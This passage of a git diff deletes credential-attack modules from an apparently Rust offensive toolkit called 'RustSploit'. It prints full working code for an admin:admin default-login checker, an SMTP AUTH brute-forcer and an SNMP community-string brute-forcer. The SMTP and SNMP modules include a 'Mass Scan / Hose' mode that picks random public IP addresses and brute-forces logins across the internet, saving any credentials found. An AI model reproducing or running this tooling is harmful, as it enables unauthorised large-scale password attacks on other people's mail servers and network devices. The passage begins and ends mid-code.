&request).await?; - - if response.contains("200 OK") { - Ok(true) - } else { - Ok(false) - } -} - -fn extract_rtsp_path(target: &str) -> Option { - let trimmed = target.trim(); - let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed); - - if let Some((_, path)) = without_scheme.split_once('/') { - let clean_path = path.split(|c| c == '?' || c == '#') - .next() - .unwrap_or_default() - .trim(); - - if clean_path.is_empty() || clean_path == "/" { - None - } else { - let mut final_path = clean_path.to_string(); - if !final_path.starts_with('/') { - final_path.insert(0, '/'); - } - Some(final_path) - } - } else { - None - } -} diff --git a/src/modules/creds/generic/sample_cred_check.rs b/src/modules/creds/generic/sample_cred_check.rs deleted file mode 100644 index b04ce21..0000000 --- a/src/modules/creds/generic/sample_cred_check.rs +++ /dev/null @@ -1,44 +0,0 @@ -use anyhow::{Result, Context}; -use colored::*; -use reqwest; -use std::time::Duration; - -const DEFAULT_TIMEOUT_SECS: u64 = 10; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ Sample Default Credential Checker ║".cyan()); - println!("{}", "║ HTTP Basic Auth Test Module ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// A sample credential check - tries a basic auth login -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - println!("{}", format!("[*] Target: {}", target).cyan()); - println!("{}", "[*] Checking default credentials (admin:admin)...".cyan()); - println!(); - - let url = format!("http://{}/login", target); - let client = reqwest::Client::builder() - .danger_accept_invalid_certs(true) - .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) - .build()?; - - let resp = client - .post(&url) - .basic_auth("admin", Some("admin")) - .send() - .await - .context("Failed to send login request")?; - - if resp.status().is_success() { - println!("{}", "[+] Default credentials admin:admin are valid!".green().bold()); - } else { - println!("{}", "[-] Default credentials admin:admin failed.".yellow()); - } - - Ok(()) -} diff --git a/src/modules/creds/generic/smtp_bruteforce.rs b/src/modules/creds/generic/smtp_bruteforce.rs deleted file mode 100644 index 79dd570..0000000 --- a/src/modules/creds/generic/smtp_bruteforce.rs +++ /dev/null @@ -1,495 +0,0 @@ -use anyhow::{anyhow, Context, Result}; -use colored::*; -use std::net::{ToSocketAddrs, IpAddr, SocketAddr}; -use std::net::TcpStream; -use std::sync::{ - atomic::{AtomicBool, AtomicUsize, Ordering}, - Arc, -}; -use std::time::Duration; -use tokio::sync::{Mutex, Semaphore}; -use futures::stream::{FuturesUnordered, StreamExt}; -use telnet::{Telnet, Event}; -use base64::{engine::general_purpose, Engine as _}; -use tokio::io::AsyncWriteExt; -use tokio::fs::OpenOptions; - -use crate::utils::{ - prompt_yes_no, prompt_existing_file, prompt_int_range, - load_lines, prompt_default, -}; -use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions}; - -const STATE_FILE: &str = "smtp_hose_state.log"; -const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000; - -// Hardcoded exclusions -const EXCLUDED_RANGES: &[&str] = &[ - "10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", - "224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", - "100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", - // Cloudflare - "103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13", - "104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18", - "162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20", - "190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17", - "1.1.1.1/32", "1.0.0.1/32", - // Google - "8.8.8.8/32", "8.8.4.4/32" -]; - -#[derive(Clone)] -struct SmtpBruteforceConfig { - target: String, - port: u16, - username_wordlist: String, - password_wordlist: String, - threads: usize, - stop_on_success: bool, - verbose: bool, - full_combo: bool, - output_file: String, - delay_ms: u64, -} - -pub async fn run(target: &str) -> Result<()> { - println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan()); - println!(); - - // Check for Mass Scan Mode conditions - let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file(); - - if is_mass_scan { - println!("{}", format!("[*] Target: {}", target).cyan()); - println!("{}", "[*] Mode: Mass Scan / Hose".yellow()); - return run_mass_scan(target).await; - } - - // --- Standard Single Target Logic --- - - let port = prompt_int_range("Port", 25, 1, 65535)? as u16; - let username_wordlist = prompt_existing_file("Username wordlist file")?; - let password_wordlist = prompt_existing_file("Password wordlist file")?; - - let threads = prompt_int_range("Threads", 8, 1, 256)? as usize; - let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64; - - let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?; - let full_combo = prompt_yes_no("Try every username with every password?", false)?; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let output_file = prompt_default("Output file for results", "smtp_results.txt")?; - - let config = SmtpBruteforceConfig { - target: target.to_string(), - port, - username_wordlist, - password_wordlist, - threads, - stop_on_success, - verbose, - full_combo, - output_file, - delay_ms, - }; - - println!(); - run_smtp_bruteforce(config).await -} - -async fn run_mass_scan(target: &str) -> Result<()> { - // Prep - let port = prompt_int_range("Port", 25, 1, 65535)? as u16; - let usernames_file = prompt_existing_file("Username wordlist")?; - let passwords_file = prompt_existing_file("Password wordlist")?; - - let users = load_lines(&usernames_file)?; - let pass_lines = load_lines(&passwords_file)?; - - if users.is_empty() { return Err(anyhow!("User list empty")); } - if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); } - - let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let output_file = prompt_default("Output result file", "smtp_mass_results.txt")?; - - // Parse exclusions - let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES)); - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let stats_checked = Arc::new(AtomicUsize::new(0)); - let stats_found = Arc::new(AtomicUsize::new(0)); - - let creds_pkg = Arc::new((users, pass_lines)); - - // Stats - let s_checked = stats_checked.clone(); - let s_found = stats_found.clone(); - tokio::spawn(async move { - loop { - tokio::time::sleep(Duration::from_secs(5)).await; - println!( - "[*] Status: {} IPs scanned, {} valid SMTP credentials found", - s_checked.load(Ordering::Relaxed), - s_found.load(Ordering::Relaxed).to_string().green().bold() - ); - } - }); - - let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0"; - - if run_random { - println!("{}", "[*] Starting Random Internet Scan...".green()); - loop { - let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?; - let exc = exclusions.clone(); - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - tokio::spawn(async move { - let ip = generate_random_public_ip(&exc); - if !is_ip_checked(&ip, STATE_FILE).await { - mark_ip_checked(&ip, STATE_FILE).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } - } else { - // File Mode - let content = tokio::fs::read_to_string(target).await.unwrap_or_default(); - let lines: Vec = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect(); - println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue()); - - for ip_str in lines { - let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?; - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - if let Ok(ip) = ip_str.parse::() { - tokio::spawn(async move { - if !is_ip_checked(&ip, STATE_FILE).await { - mark_ip_checked(&ip, STATE_FILE).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } else { - drop(permit); - } - } - for _ in 0..concurrency { - let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?; - } - } - - Ok(()) -} - -async fn mass_scan_host( - ip: IpAddr, - port: u16, - creds: Arc<(Vec, Vec)>, - stats_found: Arc, - output_file: String, - verbose: bool -) { - let sa = SocketAddr::new(ip, port); - - // 1. Connection Check - if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() { - return; - } - - let (users, passes) = &*creds; - - // 2. Bruteforce - // Reuse existing blocking sync function inside spawn_blocking? - // The existing function uses std::net::TcpStream blocking. - // That's fine for small lists, but suboptimal for high concurrency. - // However, since we are inside a spawned tokio task, spawn_blocking is appropriate. - - let target_str = ip.to_string(); - - for user in users { - for pass in passes { - let t_target = target_str.clone(); - let t_user = user.clone(); - let t_pass = pass.clone(); - let t_port = port; - - let t_target_inner = t_target.clone(); - let t_user_inner = t_user.clone(); - let t_pass_inner = t_pass.clone(); - - // Blocking call for the actual SMTP interaction (since it uses blocking Telnet/TcpStream) - let res = tokio::task::spawn_blocking(move || { - try_smtp_login(&t_target_inner, t_port, &t_user_inner, &t_pass_inner) - }).await; - - match res { - Ok(Ok(true)) => { - let msg = format!("{} -> {}:{}", t_target, t_user, t_pass); - println!("\r{}", format!("[+] FOUND: {}", msg).green().bold()); - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await { - let _ = file.write_all(format!("{}\n", msg).as_bytes()).await; - } - stats_found.fetch_add(1, Ordering::Relaxed); - return; // Stop after first success - } - Ok(Ok(false)) => { - if verbose { - // Auth failed - } - } - Ok(Err(e)) => { - // Connection error - let err = e.to_string().to_lowercase(); - if err.contains("refused") || err.contains("timeout") || err.contains("reset") { - return; // Stop scanning host - } - } - Err(_) => { - // Start/Join error - } - } - } - } -} - -async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> { - let usernames = load_lines(&config.username_wordlist)?; - let passwords = load_lines(&config.password_wordlist)?; - - let total_attempts = if config.full_combo { - usernames.len() * passwords.len() - } else { - std::cmp::max(usernames.len(), passwords.len()) - }; - - println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len()); - println!("[*] Total attempts: {}", total_attempts); - - let stats = Arc::new(BruteforceStats::new()); - let found_creds = Arc::new(Mutex::new(Vec::new())); - let stop_signal = Arc::new(AtomicBool::new(false)); - let _start_time = std::time::Instant::now(); - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop_signal.clone(); - let progress_handle = tokio::spawn(async move { - while !stop_clone.load(Ordering::Relaxed) { - tokio::time::sleep(Duration::from_secs(2)).await; - stats_clone.print_progress(); - } - }); - - let semaphore = Arc::new(Semaphore::new(config.threads)); - let mut tasks = FuturesUnordered::new(); - - // Generate combinations - let mut combos = Vec::new(); - if config.full_combo { - for u in &usernames { - for p in &passwords { - combos.push((u.clone(), p.clone())); - } - } - } else { - let max_len = std::cmp::max(usernames.len(), passwords.len()); - for i in 0..max_len { - let u = &usernames[i % usernames.len()]; - let p = &passwords[i % passwords.len()]; - combos.push((u.clone(), p.clone())); - } - } - - // Process combinations - for (user, pass) in combos { - if config.stop_on_success && stop_signal.load(Ordering::Relaxed) { - break; - } - - let permit = semaphore.clone().acquire_owned().await?; - let config_clone = config.clone(); - let stats_clone = stats.clone(); - let found_clone = found_creds.clone(); - let stop_signal_clone = stop_signal.clone(); - let user_clone = user.clone(); - let pass_clone = pass.clone(); - - tasks.push(tokio::spawn(async move { - let _permit = permit; - - if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) { - return; - } - - // Wrap blocking logic - let config_inner = config_clone.clone(); - let user_inner = user_clone.clone(); - let pass_inner = pass_clone.clone(); - let res = tokio::task::spawn_blocking(move || { - match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) { - Ok(true) => Ok(true), - Ok(false) => Ok(false), - Err(e) => Err(e), - } - }).await; - - match res { - Ok(Ok(true)) => { - println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold()); - found_clone.lock().await.push((user_clone.clone(), pass_clone.clone())); - stats_clone.record_success(); - if config_clone.stop_on_success { - stop_signal_clone.store(true, Ordering::Relaxed); - } - }, - Ok(Ok(false)) => { - stats_clone.record_failure(); - if config_clone.verbose { - println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed()); - } - }, - Ok(Err(e)) => { - stats_clone.record_error(e.to_string()).await; - if config_clone.verbose { - println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red()); - } - }, - Err(e) => { - stats_clone.record_error(format!("Task panic: {}", e)).await; - } - } - - if config_clone.delay_ms > 0 { - tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await; - } - })); - - // Memory management: drain completed tasks - while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {} - } - - while let Some(_) = tasks.next().await {} - - stop_signal.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - stats.print_final().await; - - // Save results - let found = found_creds.lock().await; - if !found.is_empty() { - if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) { - use std::io::Write; - for (u, p) in found.iter() { - let _ = writeln!(file, "{}:{}", u, p); - } - println!("[+] Results saved to {}", config.output_file); - } - } - - Ok(()) -} - -fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result { - let addr = format!("{}:{}", target, port); - let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?; - let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?; - stream.set_read_timeout(Some(Duration::from_millis(2000)))?; - stream.set_write_timeout(Some(Duration::from_millis(2000)))?; - - let mut telnet = Telnet::from_stream(Box::new(stream), 512); - - let mut banner_ok = false; - for _ in 0..3 { - let event = telnet.read().context("Banner read")?; - if let Event::Data(b) = event { - let s = String::from_utf8_lossy(&b); - if s.starts_with("220") { banner_ok = true; break; } - } - } - if !banner_ok { return Err(anyhow!("No 220 banner")); } - - telnet.write(b"EHLO scanner\r\n")?; - - let mut login_ok = false; - let mut plain_ok = false; - let mut ehlo_seen = false; - - for _ in 0..6 { - let event = telnet.read().context("EHLO read")?; - if let Event::Data(b) = event { - let s = String::from_utf8_lossy(&b); - if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; } - if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; } - if s.starts_with("250 ") { ehlo_seen = true; break; } - } - } - if !ehlo_seen { return Ok(false); } - - // Try AUTH PLAIN - if plain_ok { - let mut blob = vec![0]; - blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes()); - let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob)); - telnet.write(cmd.as_bytes())?; - - for _ in 0..2 { - let event = telnet.read().context("Auth response")?; - if let Event::Data(b) = event { - let s = String::from_utf8_lossy(&b); - if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); } - if s.starts_with("535") || s.starts_with("5") { return Ok(false); } - } - } - } - - // Try AUTH LOGIN - if login_ok { - telnet.write(b"AUTH LOGIN\r\n")?; - - // Wait for username prompt (334) - for _ in 0..2 { - let event = telnet.read().context("Auth Login prompt")?; - if let Event::Data(b) = event { - if String::from_utf8_lossy(&b).starts_with("334") { break; } - } - } - - let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes())); - telnet.write(ucmd.as_bytes())?; - - // Wait for password prompt (334) - for _ in 0..2 { - let event = telnet.read().context("Auth Pass prompt")?; - if let Event::Data(b) = event { - if String::from_utf8_lossy(&b).starts_with("334") { break; } - } - } - - let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes())); - telnet.write(pcmd.as_bytes())?; - - for _ in 0..2 { - let event = telnet.read().context("Auth final response")?; - if let Event::Data(b) = event { - let s = String::from_utf8_lossy(&b); - if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); } - if s.starts_with("535") || s.starts_with("5") { return Ok(false); } - } - } - } - - Ok(false) -} - - diff --git a/src/modules/creds/generic/snmp_bruteforce.rs b/src/modules/creds/generic/snmp_bruteforce.rs deleted file mode 100644 index 418d834..0000000 --- a/src/modules/creds/generic/snmp_bruteforce.rs +++ /dev/null @@ -1,716 +0,0 @@ -use anyhow::{anyhow, Result, Context}; -use colored::*; -use futures::stream::{FuturesUnordered, StreamExt}; -use std::{ - io::Write, - net::{SocketAddr, UdpSocket, IpAddr}, - sync::Arc, - sync::atomic::{AtomicBool, AtomicUsize, Ordering}, - time::{Duration, Instant}, -}; - -use tokio::{ - sync::Mutex, - sync::Semaphore, - task::spawn_blocking, - time::sleep, - fs::OpenOptions, - io::AsyncWriteExt, -}; - -use crate::utils::{ - prompt_yes_no, prompt_existing_file, prompt_int_range, - load_lines, prompt_default, normalize_target, -}; -use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions}; - -const PROGRESS_INTERVAL_SECS: u64 = 2; -const STATE_FILE: &str = "snmp_hose_state.log"; - -// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc) -const EXCLUDED_RANGES: &[&str] = &[ - "10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", - "224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", - "100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", - // Cloudflare - "103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13", - "104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18", - "162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20", - "190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17", - "1.1.1.1/32", "1.0.0.1/32", - // Google - "8.8.8.8/32", "8.8.4.4/32" -]; - -pub async fn run(target: &str) -> Result<()> { - println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan()); - println!("{}", " Community String Discovery Tool".cyan()); - println!(); - println!("{}", format!("[*] Target: {}", target).cyan()); - - // Check for Mass Scan Mode - let is_mass_scan = target == "random" || target == "0.0.0.0" - || target == "0.0.0.0/0" || std::path::Path::new(target).is_file(); - - if is_mass_scan { - println!("{}", "[*] Mode: Mass Scan / Hose".yellow()); - return run_mass_scan(target).await; - } - - // --- Standard Single-Target Logic --- - - let default_port = 161; - let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535)? as u16; - - let communities_file = prompt_existing_file("Community string wordlist file path")?; - - // Custom prompt for version since it's specific - let snmp_version = loop { - let input = prompt_default("SNMP Version (1 or 2c)", "2c")?; - match input.trim().to_lowercase().as_str() { - "1" => break 0, // SNMPv1 - "2c" | "2" => break 1, // SNMPv2c - _ => println!("Invalid version. Enter '1' or '2c'."), - } - }; - - let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000)? as usize; - let stop_on_success = prompt_yes_no("Stop on first success?", true)?; - - // Output file handled by saving results at the end usually, but old code asked upfront. - // I'll stick to standard flow: prompt for save at end OR automatically if specified. - // Existing modules prompted for output file upfront. I'll do that for consistency with new standard. - let output_file = prompt_default("Output file", "snmp_results.txt")?; - - let verbose = prompt_yes_no("Verbose mode?", false)?; - let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64; - - let connect_addr = format!("{}:{}", normalize_target(target)?, port); - - let found = Arc::new(Mutex::new(Vec::new())); - let stop = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(BruteforceStats::new()); - - println!("\n[*] Starting SNMP brute-force on {}", connect_addr); - println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" }); - - let communities = load_lines(&communities_file)?; - if communities.is_empty() { - println!("[!] Community wordlist is empty. Exiting."); - return Ok(()); - } - println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan()); - println!(); - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop.clone(); - let _start_time = Instant::now(); - let progress_handle = tokio::spawn(async move { - loop { - if stop_clone.load(Ordering::Relaxed) { - break; - } - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - stats_clone.print_progress(); - } - }); - - let communities = Arc::new(communities); - let mut tasks = FuturesUnordered::new(); - let semaphore = Arc::new(Semaphore::new(concurrency)); - - for community in communities.iter() { - if stop_on_success && stop.load(Ordering::Relaxed) { - break; - } - - let permit = semaphore.clone().acquire_owned().await?; - let addr_clone = connect_addr.clone(); - let community_clone = community.clone(); - let found_clone = Arc::clone(&found); - let stop_clone = Arc::clone(&stop); - let stats_clone = Arc::clone(&stats); - let stop_flag = stop_on_success; - let verbose_flag = verbose; - let version = snmp_version; - let timeout = Duration::from_secs(timeout_secs); - - tasks.push(tokio::spawn(async move { - let _permit = permit; - - if stop_flag && stop_clone.load(Ordering::Relaxed) { - return; - } - - match try_snmp_community(&addr_clone, &community_clone, version, timeout).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold()); - found_clone - .lock() - .await - .push((addr_clone.clone(), community_clone.clone())); - stats_clone.record_success(); - if stop_flag { - stop_clone.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats_clone.record_failure(); - if verbose_flag { - println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed()); - } - } - Err(e) => { - stats_clone.record_error(e.to_string()).await; - if verbose_flag { - println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red()); - } - } - } - - sleep(Duration::from_millis(10)).await; - })); - - // Drain - while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {} - } - - while let Some(_) = tasks.next().await {} - - // Stop progress reporter - stop.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - // Print final statistics - stats.print_final().await; - - let creds = found.lock().await; - if creds.is_empty() { - println!("{}", "[-] No valid community strings found.".yellow()); - } else { - println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold()); - - if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) { - for (host, community) in creds.iter() { - println!(" {} -> community: '{}'", host, community); - let _ = writeln!(file, "{} -> community: '{}'", host, community); - } - println!("[+] Results saved to '{}'", output_file); - } - } - - Ok(()) -} - -async fn try_snmp_community( - normalized_addr: &str, - community: &str, - version: u8, // 0 = v1, 1 = v2c - timeout: Duration, -) -> Result { - let community_owned = community.to_string(); - let addr_owned = normalized_addr.to_string(); - - let result = spawn_blocking(move || -> Result { - // Parse the address - let addr: SocketAddr = addr_owned - .parse() - .map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?; - - // Create UDP socket - let socket = UdpSocket::bind("0.0.0.0:0") - .map_err(|e| anyhow!("Failed to bind socket: {}", e))?; - - socket - .set_read_timeout(Some(timeout)) - .map_err(|e| anyhow!("Failed to set read timeout: {}", e))?; - - // Build SNMP GET request manually - // OID: 1.3.6.1.2.1.1.1.0 (sysDescr) - let message = build_snmp_get_request(&community_owned, version); - - // Send request - socket - .send_to(&message, &addr) - .map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?; - - // Receive response - let mut buf = vec![0u8; 4096]; - let result: bool = match socket.recv_from(&mut buf) { - Ok((size, _)) => { - let response = &buf[..size]; - - // Parse SNMP response to verify it's valid - // A valid SNMP response should: - // 1. Start with 0x30 (SEQUENCE) - // 2. Contain version, community, and PDU - // 3. Have error status = 0 (noError) in the response PDU - if size >= 20 && response[0] == 0x30 { - // Try to parse the response to check error status - // If we can parse it and error status is 0, it's valid - match parse_snmp_response(response) { - Ok(true) => true, // Valid community string - Ok(false) => false, // Invalid community (error in response) - Err(_) => { - // Can't parse, but got a response - might be valid - // Some devices send malformed responses but still indicate valid community - true - } - } - } else { - // Malformed response - likely invalid - false - } - } - Err(e) => { - // Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community - // EAGAIN (os error 11) can occur on Linux when socket would block - let error_kind = e.kind(); - if error_kind == std::io::ErrorKind::TimedOut - || error_kind == std::io::ErrorKind::WouldBlock - || e.raw_os_error() == Some(11) // EAGAIN on Linux - || e.raw_os_error() == Some(35) // EAGAIN on macOS - { - // Timeout or would block - community string is likely invalid - false - } else { - // Other errors might be transient, but log them - // For now, treat as invalid to avoid false positives - false - } - } - }; - Ok(result) - }) - .await - .map_err(|e| anyhow!("Task join error: {}", e))?; - - result -} - -/// Parses SNMP response to check if error status is 0 (noError) -/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse -fn parse_snmp_response(response: &[u8]) -> Result { - if response.len() < 20 || response[0] != 0x30 { - return Err(anyhow!("Invalid SNMP response header")); - } - - // Try to find the PDU (GetResponse-PDU = 0xa2) - // The structure is: SEQUENCE (version, community, PDU) - // We need to skip version and community to get to the PDU - - let mut pos = 1; - - // Skip length of outer SEQUENCE - if pos >= response.len() { - return Err(anyhow!("Response too short")); - } - let (_len, len_bytes) = parse_ber_length(&response[pos..])?; - pos += len_bytes; - - // Skip version (INTEGER) - if pos >= response.len() || response[pos] != 0x02 { - return Err(anyhow!("Invalid version field")); - } - pos += 1; - let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?; - pos += vlen_bytes + vlen; - - // Skip community (OCTET STRING) - if pos >= response.len() || response[pos] != 0x04 { - return Err(anyhow!("Invalid community field")); - } - pos += 1; - let (clen, clen_bytes) = parse_ber_length(&response[pos..])?; - pos += clen_bytes + clen; - - // Now we should be at the PDU - // GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0 - if pos >= response.len() { - return Err(anyhow!("Response too short for PDU")); - } - - let pdu_tag = response[pos]; - if pdu_tag != 0xa2 && pdu_tag != 0xa0 { - // Not a GetResponse or GetRequest, might be an error - return Ok(false); - } - - pos += 1; - let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?; - pos += pdu_len_bytes; - - // PDU structure: request-id, error-status, error-index, variable-bindings - // Skip request-id (INTEGER) - if pos >= response.len() || response[pos] != 0x02 { - return Err(anyhow!("Invalid request-id field")); - } - pos += 1; - let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?; - pos += rid_len_bytes + rid_len; - - // Read error-status (INTEGER) - if pos >= response.len() || response[pos] != 0x02 { - return Err(anyhow!("Invalid error-status field")); - } - pos += 1; - let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?; - if es_len == 0 || pos + es_len_bytes + es_len > response.len() { - return Err(anyhow!("Invalid error-status length")); - } - - // Read the error status value - let error_status = if es_len == 1 { - response[pos + es_len_bytes] as u32 - } else { - // Multi-byte integer (shouldn't happen for error status, but handle it) - let mut val = 0u32; - for i in 0..es_len { - val = (val << 8) | (response[pos + es_len_bytes + i] as u32); - } - val - }; - - // Error status 0 = noError, anything else is an error - Ok(error_status == 0) -} - -/// Parses BER length field -/// Returns (length_value, number_of_bytes_consumed) -fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> { - if data.is_empty() { - return Err(anyhow!("Empty length field")); - } - - let first_byte = data[0]; - - if (first_byte & 0x80) == 0 { - // Short form: single byte - Ok((first_byte as usize, 1)) - } else { - // Long form: first byte indicates number of length bytes - let num_bytes = (first_byte & 0x7F) as usize; - if num_bytes == 0 { - return Err(anyhow!("Indefinite length not supported")); - } - if num_bytes > 4 { - return Err(anyhow!("Length field too large")); - } - if data.len() < 1 + num_bytes { - return Err(anyhow!("Not enough bytes for length field")); - } - - let mut length = 0usize; - for i in 0..num_bytes { - length = (length << 8) | (data[1 + i] as usize); - } - - Ok((length, 1 + num_bytes)) - } -} - -/// Builds a simple SNMP GET request packet manually -/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request -fn build_snmp_get_request(community: &str, version: u8) -> Vec { - // Build components first, then assemble with proper length encoding - - // OID for sysDescr: 1.3.6.1.2.1.1.1.0 - let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]); - let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER - - // NULL value - let null_tlv = vec![0x05, 0x00]; // NULL type, length 0 - - // VarBind: SEQUENCE of (OID, NULL) - let mut var_bind = Vec::new(); - var_bind.extend_from_slice(&oid_tlv); - var_bind.extend_from_slice(&null_tlv); - let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE - - // VarBindList: SEQUENCE of VarBind - let mut var_bind_list_content = Vec::new(); - var_bind_list_content.extend_from_slice(&var_bind_tlv); - let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE - - // Request ID - let request_id_tlv = encode_integer_tlv(1u32); - - // Error status (0 = noError) - let error_status_tlv = encode_integer_tlv(0u32); - - // Error index (0 = noError) - let error_index_tlv = encode_integer_tlv(0u32); - - // PDU: GetRequest-PDU - let mut pdu_content = Vec::new(); - pdu_content.extend_from_slice(&request_id_tlv); - pdu_content.extend_from_slice(&error_status_tlv); - pdu_content.extend_from_slice(&error_index_tlv); - pdu_content.extend_from_slice(&var_bind_list_tlv); - let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU - - // Version - let version_tlv = encode_integer_tlv(version as u32); - - // Community string - let community_bytes = community.as_bytes(); - let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING - - // SNMP Message: SEQUENCE of (version, community, PDU) - let mut message_content = Vec::new(); - message_content.extend_from_slice(&version_tlv); - message_content.extend_from_slice(&community_tlv); - message_content.extend_from_slice(&pdu_tlv); - let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE - - message -} - -/// Builds a TLV (Type-Length-Value) structure -fn build_tlv(tag: u8, value: &[u8]) -> 